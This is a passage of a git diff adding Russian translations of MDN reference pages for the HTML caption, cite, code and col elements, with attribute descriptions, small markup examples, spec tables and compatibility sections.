+<h2 id="См.также">См.также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Canvas_API">MDN canvas portal</a></li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a></li>
+ <li><a href="https://simon.html5.org/dump/html5-canvas-cheat-sheet.html">Canvas cheat sheet</a></li>
+ <li><a href="/en-US/demos/tag/tech:canvas">Canvas-related demos</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AudioVideo/Conceptual/HTML-canvas-guide/Introduction/Introduction.html">Canvas introduction by Apple</a></li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/caption/index.html b/files/ru/web/html/element/caption/index.html
new file mode 100644
index 0000000000..e678d6a922
--- /dev/null
+++ b/files/ru/web/html/element/caption/index.html
@@ -0,0 +1,154 @@
+---
+title: '<caption>: The Table Caption element'
+slug: Web/HTML/Element/caption
+tags:
+  - Выравнивание
+  - Заголовок
+  - Стилизация
+translation_of: Web/HTML/Element/caption
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML</strong> элемент заголовка таблицы (<strong><code>&lt;caption&gt;</code></strong>) определяет название (заголовок) таблицы. Если этот элемент используется, он <em>всегда</em> должен быть первым вложенным элементом тэга {{HTMLElement("table")}}.</span> Внешний вид и расположение заголовка по отношению к самой таблице может быть изменено с помощью стилей CSS {{cssxref("caption-side")}} and {{cssxref("text-align")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Категории контента</a></th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Потоковый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Парность тегов</th>
+   <td>Конечный тег может быть опущен, если элемент не следует сразу за ASCII пробелом или комментарием.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родители</th>
+   <td>Элемент {{HTMLElement("table")}} как его первый потомок</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные ARIA-роли</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLTableCaptionElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает  <a href="/en-US/docs/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<h3 id="Устаревшие_атрибуты">Устаревшие атрибуты</h3>
+
+<p>Следующие атрибуты устаревшие и не должны использоваться. Они описаны ниже для справки при обновлении кода и для общего сведения.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{obsolete_inline}}</dt>
+ <dd>Этот пронумерованный атрибут указывает как заголовок должен быть выравнен по отношению к таблице. Он может иметь одно или несколько следующих значений :
+ <dl>
+  <dt><code>left</code></dt>
+  <dd>Заголовок отображается слева от таблицы.</dd>
+  <dt><code>top</code></dt>
+  <dd>Заголовок отображается над таблицей.</dd>
+  <dt><code>right</code></dt>
+  <dd>Заголовок отображается справа от таблицы.</dd>
+  <dt><code>bottom</code></dt>
+  <dd>Заголовок отображается под таблицей.</dd>
+ </dl>
+
+ <div class="note"><strong>Примчание к использованию: </strong>Не используйте этот атрибут, так как он устарел. Элемент {{HTMLElement("caption")}} должен быть стилизован с использованием свойств <a href="/en-US/docs/CSS">CSS</a> {{cssxref("caption-side")}} и{{cssxref("text-align")}}.</div>
+ </dd>
+</dl>
+
+<h2 id="Примечание_к_использованию">Примечание к использованию</h2>
+
+<p>Когда элемент {{HTMLElement("table")}}, содержащий <code>&lt;caption&gt;</code> является единственным потомком элемента {{HTMLElement("figure")}}, вам следует использовать элемент {{HTMLElement("figcaption")}} вместо <code>&lt;caption&gt;</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Просто пример, представляющий таблицу, которая содержит  заголовок.</p>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;caption&gt;Example Caption&lt;/caption&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Login&lt;/th&gt;
+    &lt;th&gt;Email&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;user1&lt;/td&gt;
+    &lt;td&gt;user1@sample.com&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;user2&lt;/td&gt;
+    &lt;td&gt;user2@sample.com&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">caption {
+  caption-side: top;
+  align: right;
+}
+table {
+  border-collapse: collapse;
+  border-spacing: 0px;
+}
+table, th, td {
+  border: 1px solid black;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('Example', 650, 100)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'tables.html#the-caption-element', '&lt;caption&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'tabular-data.html#the-caption-element', '&lt;caption&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/tables.html#h-11.2.2', '&lt;caption&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.caption")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Другие связанные с таблицей HTML элементы: {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}};</li>
+ <li>CSS свойства, которые могут быть применены для стилизации элемента {{HTMLElement("caption")}}:
+  <ul>
+   <li>{{cssxref("text-align")}}, {{cssxref("caption-side")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/html/element/cite/index.html b/files/ru/web/html/element/cite/index.html
new file mode 100644
index 0000000000..62a5beb61d
--- /dev/null
+++ b/files/ru/web/html/element/cite/index.html
@@ -0,0 +1,152 @@
+---
+title: <cite>
+slug: Web/HTML/Element/cite
+tags:
+  - HTML
+  - Источник
+  - Цитата
+  - Элемент
+translation_of: Web/HTML/Element/cite
+---
+<h2 id="Описание">Описание</h2>
+
+<p><strong>HTML-элемент &lt;cite&gt;</strong> (<em>от англ. Citation</em>) представляет из себя ссылку на источник цитаты. Он должен включать в себя название произведения или URL, который может быть в сокращенном виде в соответствии с правилами, используемых для добавления метаданных цитирования.</p>
+
+<div class="note">
+<p><strong>Об использовании:</strong></p>
+
+<ul>
+ <li>Творческая работа может включать в себя книгу, статью, очерк, стихотворение, суждение, песню, сценарий, фильм, ТВ-шоу, игру, скульптуру, живопись, театральную постановку, пьесу, оперу, мюзикл, выставку, юридический отчет, компьютерную программу, веб-сайт, веб-страницу, сообщение или комментарий в блоге или на форуме, tweet, письменное или устное заявление и так далее.</li>
+ <li>Спецификация W3C утверждает, что ссылка на творческую работу может содержать имя автора, в то время, как WHATWG заявляет, что она не может включать имя человена ни в коем случае.</li>
+ <li>Используйте атрибут {{htmlattrxref("cite", "blockquote")}} элемента {{HTMLElement("blockquote")}} или элемента {{HTMLElement("q")}} для ссылки на интернет-ресурс источника.</li>
+</ul>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">phrasing content</a>, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">Phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parent elements</th>
+   <td>Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLElement")}} Up to Gecko 1.9.2 (Firefox 4) inclusive, Firefox implements the {{domxref("HTMLSpanElement")}} interface for this element.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Для данного элемента доступны только <a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">глобальные атрибуты</a>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">More information can be found in &lt;cite&gt;[ISO-0000]&lt;/cite&gt;</pre>
+
+<p>{{EmbedLiveSample('Пример')}}</p>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>To avoid the default italic style from being used for the &lt;cite&gt; element use the <a href="/en-US/docs/CSS" title="CSS">CSS</a> {{cssxref("font-style")}} property.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-cite-element', '&lt;cite&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-cite-element', '&lt;cite&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;cite&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"></h2>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элемент {{HTMLElement("blockquote")}} для длинных цитат.</li>
+ <li>Элемент {{HTMLElement("q")}} для встраиваимых цитат.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/code/index.html b/files/ru/web/html/element/code/index.html
new file mode 100644
index 0000000000..2bc6c488e3
--- /dev/null
+++ b/files/ru/web/html/element/code/index.html
@@ -0,0 +1,116 @@
+---
+title: '<code>: The Inline Code element'
+slug: Web/HTML/Element/code
+tags:
+  - HTML
+  - Код
+  - Элемент
+translation_of: Web/HTML/Element/code
+---
+<div>{{HTMLRef}}</div>
+
+<p id="Summary"><span class="seoSummary"><strong>Элемент HTML <code>&lt;code&gt;</code></strong> отображает его содержимое в стиле, предназначенном для указания на то, что текст является коротким фрагментом компьютерного кода.</span> По умолчанию текст содержимого отображается с использованием шрифта монопространства по умолчанию {{Glossary("user agent", "пользовательского агента")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/code.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Источник для этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в интерактивный проект примеров, пожалуйста, клонируйте https://github.com/mdn/interactive-examples и пришлите нам <span class="st">запрос на принятие изменений.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Implicit ARIA role</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">No corresponding role</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>Any</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLElement")}} Up to Gecko 1.9.2 (Firefox 4) inclusive, Firefox implements the {{domxref("HTMLSpanElement")}} interface for this element.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает в себя только <a href="/ru/Web/HTML/Global_attributes" title="HTML/Global attributes">глобальные атрибуты</a>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Текстовый абзац, включающий <code>&lt;code&gt;</code>:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;The function &lt;code&gt;selectAll()&lt;/code&gt; highlights all the text in the
+input field so the user can, for example, copy or delete the text.&lt;/p&gt;
+</pre>
+
+<p>Вывод, генерируемый этим HTML, выглядит так:</p>
+
+<p>{{EmbedLiveSample("Example", 640, 70)}}</p>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Для представления нескольких строк кода, оберните элемент <code>&lt;code&gt;</code> в элемент {{HTMLElement("pre")}}. Элемент <code>&lt;code&gt;</code> сам по себе представляет только один элемент кода или строку кода.</p>
+
+<p>CSS правило может быть определено для того, чтобы селектор <code>code</code> переопределил шрифт браузера по умолчанию. Предпочтения, установленные пользователем, могут иметь приоритет над указанными CSS.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-code-element', '&lt;code&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-code-element', '&lt;code&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;code&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице составлена из структурированных данных. Если Вы хотите внести свой вклад в данные, пожалуйста, посетите https://github.com/mdn/browser-compat-data и отправьте нам запрос.</div>
+
+<p>{{Compat("html.elements.code")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{HTMLElement("samp")}}</li>
+ <li>{{HTMLElement("kbd")}}</li>
+ <li>{{HTMLElement("command")}} (deprecated)</li>
+ <li>{{HTMLElement("var")}}</li>
+ <li>{{HTMLElement("pre")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/col/index.html b/files/ru/web/html/element/col/index.html
new file mode 100644
index 0000000000..312a30bff0
--- /dev/null
+++ b/files/ru/web/html/element/col/index.html
@@ -0,0 +1,236 @@
+---
+title: <col>
+slug: Web/HTML/Element/col
+tags:
+  - HTML
+  - Веб
+  - Ссылка
+  - Элемент
+  - таблицы
+  - табличные данные HTML
+translation_of: Web/HTML/Element/col
+---
+<p>{{HTMLRef}}<br>
+ <strong>HTML элемент</strong> <strong><code>&lt;col&gt;</code></strong> определяет столбец в таблице и используется для определения общей семантики на всех ячейках. Обычно он находится в элементе  {{HTMLElement("colgroup")}}.</p>
+
+<p>Этот элемент позволяет стилизировать столбцы с использованием CSS, но только несколько атрибутов будут иметь эффект на столбец (<a href="https://www.w3.org/TR/CSS21/tables.html#columns">смотри спецификацию CSS 2.1</a>).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories">Категория контента</a></th>
+   <td>Нет.</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимый контент</th>
+   <td>Нет, это {{Glossary("пустой элемент")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Начальный тег обязательный, но, поскольку это элемент без контента, использование концевого тега запрещено.</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимые родительские теги</th>
+   <td>Только {{HTMLElement("colgroup")}}, хотя он может быть определён неявно, т. к. его стартовый тег не является обязательным. Тег {{HTMLElement("colgroup")}} обязан не иметь атрибута {{htmlattrxref("span", "colgroup")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимые <a href="https://developer.mozilla.org/ru/docs/Web/Accessibility/ARIA">ARIA </a> роли</th>
+   <td>Нет.</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс DOM</th>
+   <td>{{domxref("HTMLTableColElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает <a href="https://developer.mozilla.org/ru/docs/Web/HTML/%D0%9E%D0%B1%D1%89%D0%B8%D0%B5_%D0%B0%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D1%8B">общие атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Этот перечисляемый атрибут указывает, как будет обрабатываться горизонтальное выравнивание контента каждой ячейки столбца. Возможные значения:
+ <ul>
+  <li><code>left</code>, выравнивает контент к левой стророне ячейки</li>
+  <li><code>center</code>, центрирует контент ячейки</li>
+  <li><code>right</code>, выравнивает контент к правой стророне ячейки</li>
+  <li><code>justify</code>, вставляет пробелы в текстовый контент так, чтобы контент был выравнен по ширине</li>
+  <li><code>char</code>, выравнивает текстовый контент по специальному символу с минимальным смещением, определяемым атрибутами {{htmlattrxref("char", "col")}} и {{htmlattrxref("charoff", "col")}} {{unimplemented_inline(2212)}}.</li>
+ </ul>
+
+ <p>Если этот атрибут не установлен, его значение будет переопределено от  {{htmlattrxref("align", "colgroup")}} элемента {{HTMLElement("colgroup")}}, к которому этот элемент принадлежит. Если его также нет, предполагается значение <code>left</code>.</p>
+
+ <div class="note"><strong>Примечание: </strong>Не используйте этот атрибут, поскольку он устарел (не поддерживается) в последнем стандарте.
+
+ <ul>
+  <li>To achieve the same effect as the <code>left</code>, <code>center</code>, <code>right</code> or <code>justify</code> values:
+
+   <ul>
+    <li>Do not try to set the {{cssxref("text-align")}} property on a selector giving a {{HTMLElement("col")}} element. Because {{HTMLElement("td")}} elements are not descendant of the {{HTMLElement("col")}} element, they won't inherit it.</li>
+    <li>If the table doesn't use a {{htmlattrxref("colspan", "td")}} attribute, use the <code>td:nth-child(an+b)</code> CSS selector. Set <code>a</code> to zero and <code>b </code>to the position of the column in the table, e.g. <code>td:nth-child(2) { text-align: right; }</code> to right-align the second column.</li>
+    <li>If the table does use a {{htmlattrxref("colspan", "td")}} attribute, the effect can be achieved by combining adequate CSS attribute selectors like <code>[colspan=n]</code>, though this is not trivial.</li>
+   </ul>
+  </li>
+  <li>To achieve the same effect as the <code>char</code> value, in CSS3, you can use the value of the {{htmlattrxref("char", "col")}} as the value of the {{cssxref("text-align")}} property {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>Этот атрибут определяет цвет фона каждой яцейки столбца. Это один из 6-и значных кодов в шестнадцатеричной системе считсления, определенный как <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB </a>с префиксом '#'. Можно использовать одну из шестнадцати предопределенных строк:
+ <table style="width: 80%;">
+  <tbody>
+   <tr>
+    <td style="background-color: black; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>black</code> = "#000000"</td>
+    <td style="background-color: green; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>green</code> = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: silver; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>silver</code> = "#C0C0C0"</td>
+    <td style="background-color: lime; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>lime</code> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: gray; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>gray</code> = "#808080"</td>
+    <td style="background-color: olive; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>olive</code> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: white; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>white</code> = "#FFFFFF"</td>
+    <td style="background-color: yellow; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>yellow</code> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: maroon; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>maroon</code> = "#800000"</td>
+    <td style="background-color: navy; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>navy</code> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: red; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>red</code> = "#FF0000"</td>
+    <td style="background-color: blue; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>blue</code> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="background-color: purple; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>purple</code> = "#800080"</td>
+    <td style="background-color: teal; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>teal</code> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: fuchsia; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>fuchsia</code> = "#FF00FF"</td>
+    <td style="background-color: aqua; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><code>aqua</code> = "#00FFFF"</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Замечание по использованию:</strong> Не используй этот атрибут, тпоскольку он нестандартный и реализован только в некоторых версиях Microsoft Internet Explorer: элемент {{HTMLElement("col")}} должне быть стилизован с использованием <a href="/en-US/docs/CSS">CSS</a>. Для получения подобного эффекта, используй свойство <a href="/en-US/docs/CSS">CSS</a> {{cssxref("background-color")}}, для соответсвующих элементов {{HTMLElement("td")}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>This attribute is used to set the character to align the cells in a column on. Typical values for this include a period (.) when attempting to align numbers or monetary values. If {{htmlattrxref("align", "col")}} is not set to <code>char</code>, this attribute is ignored.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard. To achieve the same effect as the {{htmlattrxref("char", "col")}}, in CSS3, you can use the character set using the {{htmlattrxref("char", "col")}} attribute as the value of the {{cssxref("text-align")}} property {{unimplemented_inline}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("charoff")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the <strong>char</strong> attribute.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("span")}}</dt>
+ <dd>This attribute contains a positive integer indicating the number of consecutive columns the <code>&lt;col&gt;</code> element spans. If not present, its default value is <code>1</code>.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("valign")}} {{Deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>This attribute specifies the vertical alignment of the text within each cell of the column. Possible values for this attribute are:
+ <ul>
+  <li><code>baseline</code>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a class="external" href="https://en.wikipedia.org/wiki/Baseline_%28typography%29">baseline</a> of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as <code>bottom</code>.</li>
+  <li><code>bottom</code>, which will put the text as close to the bottom of the cell as it is possible;</li>
+  <li><code>middle</code>, which will center the text in the cell;</li>
+  <li>and <code>top</code>, which will put the text as close to the top of the cell as it is possible.</li>
+ </ul>
+
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard:
+
+ <ul>
+  <li>Do not try to set the {{cssxref("vertical-align")}} property on a selector giving a {{HTMLElement("col")}} element. Because {{HTMLElement("td")}} elements are not descendant of the {{HTMLElement("col")}} element, they won't inherit it.</li>
+  <li>If the table doesn't use a {{htmlattrxref("colspan", "td")}} attribute, use the <code>td:nth-child(an+b)</code> CSS selector where a is the total number of the columns in the table and b is the ordinal position of the column in the table. Only after this selector the {{cssxref("vertical-align")}} property can be used.</li>
+  <li>If the table does use a {{htmlattrxref("colspan", "td")}} attribute, the effect can be achieved by combining adequate CSS attribute selectors like <code>[colspan=n]</code>, though this is not trivial.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("width")}} {{obsolete_inline("html5")}}</dt>
+ <dd>This attribute specifies a default width for each column in the current column group. In addition to the standard pixel and percentage values, this attribute might take the special form <code>0*</code>, which means that the width of each column in the group should be the minimum width necessary to hold the column's contents. Relative widths such as <code>0.5*</code> also can be used.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Please see the {{HTMLElement("table")}} page for examples on <code>&lt;col&gt;</code>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'tables.html#the-col-element', '&lt;col&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'tabular-data.html#the-col-element', '&lt;col&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/tables.html#h-11.2.4.2', '&lt;col&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+
+
+<p>{{Compat("html.elements.col")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>Other table-related HTML elements: {{HTMLElement("caption")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}};</li>
+ <li>CSS properties and pseudo-classes that may be specially useful to style the <code>&lt;col&gt;</code> element:
+  <ul>
